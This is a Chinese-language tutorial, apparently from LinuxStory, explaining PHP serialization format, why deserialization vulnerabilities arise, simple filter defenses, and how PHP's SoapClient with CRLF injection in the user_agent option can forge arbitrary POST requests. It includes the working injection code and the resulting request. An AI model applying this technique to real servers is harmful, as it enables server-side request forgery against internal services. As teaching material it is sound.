信息安全长篇分享

深度理解PHP反序列化:漏洞产生原理及其利用技巧

序列化反序列化是一个程序中的常见过程,其中对象被序列化成字符串,仅保留对象中的成员变量而不包括函数方法。这种过程常用于对象的持久化存储。

我们来看一个示例,由于\0字符无法复制,所以我们将其替换为URL编码后的%00以便于观察:

<?php
class class1
{
    public $pbl = "pbl_v";
    protected $prt = "prt_v";
    private $prv = "prv_v";
    public function func()
    {
        return "func_ret";
    }
}

$o = new class1();
$s = serialize($o);
$s = str_replace("\0", '%00', $s);
echo $s;

序列化结果如下,可以看到其中仅包含属性和值,而并不包含方法:

O:6:"class1":3:{s:3:"pbl";s:5:"pbl_v";s:6:"%00*%00prt";s:5:"prt_v";s:11:"%00class1%00prv";s:5:"prv_v";}

这个序列化后的对象结构的含义为:

O:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名";属性类型:属性值的长度:"属性值";}

访问控制修饰符序列化规则

根据不同的访问控制修饰符,序列化后的属性名会有所不同,具体规则如下:

  • public(公有的):属性名
  • protected(受保护的):%00*%00属性名
  • private(私有的):%00类名%00属性名

%00表示\0字符。

PHP序列化属性类型

PHP序列化中,不同的属性类型有不同的标识:

  • a - array 数组型
  • b - boolean 布尔型
  • d - double 浮点型
  • i - integer 整数型
  • o - common object 共同对象
  • r - object reference 对象引用
  • s - non-escaped binary string 非转义的二进制字符串
  • S - escaped binary string 转义的二进制字符串
  • C - custom object 自定义对象
  • O - class 对象
  • N - null 空
  • R - pointer reference 指针引用
  • U - unicode string Unicode 编码的字符串

反序列化漏洞产生原理及其防护

反序列化漏洞产生的主要原因是反序列化过程中的参数用户可控。当服务器接收序列化后的字符串,并且未经过滤地将其中的变量放入一些魔术方法中执行,这就可能产生漏洞。

为了避免此类漏洞的产生,我们可以过滤/[oc]:\d+:/i

preg_match('/[oc]:\d+:/i', $a);

或者在数字前加+号:

str_replace('O:', 'O:+', $a);

PHP原生类SoapClient的利用

PHP原生类SoapClient是一个用于与Web服务交互的类。它提供了一种轻松访问Web服务的方法,可以在PHP中使用SOAP协议与远程服务器进行通信。

SoapClient__call方法

当尝试调用未定义的Web服务方法时,__call方法会自动被调用,并将方法名和参数传递给Web服务。

例如,执行以下代码:

$client = new SoapClient(null, array('uri' => 'uri', 'location' => 'http://127.0.0.1:5555/', 'user_agent' => 'ua'));
$client->not_exists_function();

会产生以下的调用链:SoapClient->__call('not_exists_func...', Array)->SoapClient->__doRequest('<?xml version="...', 'http://127.0.0....', 'uri#not_exists_...', 1, 0)

利用SoapClient执行任意POST请求

在SoapClient中,SOAPActionUser-Agent可被控制,这就使得我们可以注入CRLF来控制POST请求的header或者更改Content-Type的值。例如,我们可以在下面的代码中对UA进行CRLF注入:

<?php
$target = 'http://127.0.0.1:5555';
$post_string = 'name=value';
$headers = array(
    'X-Forwarded-For: 127.0.0.1, 127.0.0.1',
    'Cookie: name=value'
);

$client = new SoapClient(null, array(
    'uri' => 'uri',
    'location' => 'http://127.0.0.1:5555/',
    'user_agent' => 'p0ise'."\r\n".
                    'Content-Type: application/x-www-form-urlencoded'."\r\n".
                    join("\r\n", $headers) . "\r\n".
                    'Content-Length: ' . (string)strlen($post_string) . "\r\n\r\n" .
                    $post_string
    )
);

$client->not_exists_function();

此代码会产生以下的报文:

POST / HTTP/1.1
Host: 127.0.0.1:5555
Connection: Keep-Alive
User-Agent: p0ise
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1, 127.0.0.1
Cookie: name=value
Content-Length: 13

name=value
Content-Type: text/xml; charset=utf-8
SOAPAction: "uri#not_exists_function"
Content-Length: 382

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="uri" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:not_exists_function/></SOAP-ENV:Body></SOAP-ENV:Envelope>

总结

通过以上解释,我们可以看出,理解PHP序列化和反序列化的原理及其相关漏洞的产生和防护是非常重要的,因为它涉及到数据的持久化存储和安全性。同时,也说明了如何利用PHP原生类SoapClient进行交互,并可能产生的安全风险。在编写代码时,我们需要特别注意对这些可能产生的漏洞进行预防,以确保数据的安全。


本文链接: https://linuxstory.org/in-depth-understanding-of-php-deserialization-the-principle-of-vulnerability-generation-and-its-utilization-skills

LinuxStory 原创教程,转载请注明出处,否则必究相关责任。

对这篇文章感觉如何?

太棒了
0
不错
0
爱死了
0
不太好
0
感觉很糟
0

You may also like

Leave a reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据

More in:信息安全

信息安全

深度解析shellcode原理及编码技术

本篇文章深度探讨了Shellcode的原理,同时对64位和32位系统下的shellcode进行了详细解读。并详细介绍了Shellcode的编码技术,其中包括手写Shellcode的两种思路。对于编码Shellcode,本文列举了几种常见的解码器的实现,如FNSTENV XOR解码器和JMP/CALL解码器。最后,本文列举了几种常见的字符集以及Shellcode编码工具,并推荐了两个可查找现成Shellcode的数据库。
信息安全

安卓逆向:去广告和弹窗

安卓应用中常见有三种广告:启动广告、弹窗广告以及横幅广告。启动广告一般是单独的一个 Activity,对于这种广告可以通过 Activity 切换定位来加以去除。弹窗广告一般是在 Activity 方法中通过 Dialog->show() 方法调用的,这种广告可以通过 Hook、定位并修改代码方法去除。横幅广告是出现在 UI 布局中的广告,在 xml 中定位到之后可以通过修改宽高和可见性的方法去除。
信息安全

安全能力交换协同应对DDoS

安全形势的急剧恶化也催生出了海量的安全需求,大量安全厂商及网络运营商都投身到这场全球性的安全对抗战役中,但是随着网络攻击在规模、复杂性及量级方面的不断扩大,越来越多的网络安全厂商及运营商感觉到“力不从心”,大家都意识到应对现今的网络攻击已不是一家公司或单一组织可以解决的。协作,必将成为未来网络安全领域最重要的发展方向。
信息安全

跳过开机密码!修改 Windows 10 登录密码 :-)

设置密码来保护自己的电脑数据安全是非常必要的,开机密码能有效防止未经允许的人窥探自己的电脑。本文将介绍一种简单的在CMD模式(无需密码可进入)下简单的重置开机密码,并且保证数据原封不动,且安全有效,并提供防被破解方案。